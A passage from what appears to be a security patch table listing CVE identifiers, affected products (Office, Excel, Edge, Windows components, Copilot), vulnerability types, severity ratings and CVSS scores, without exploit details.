**\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  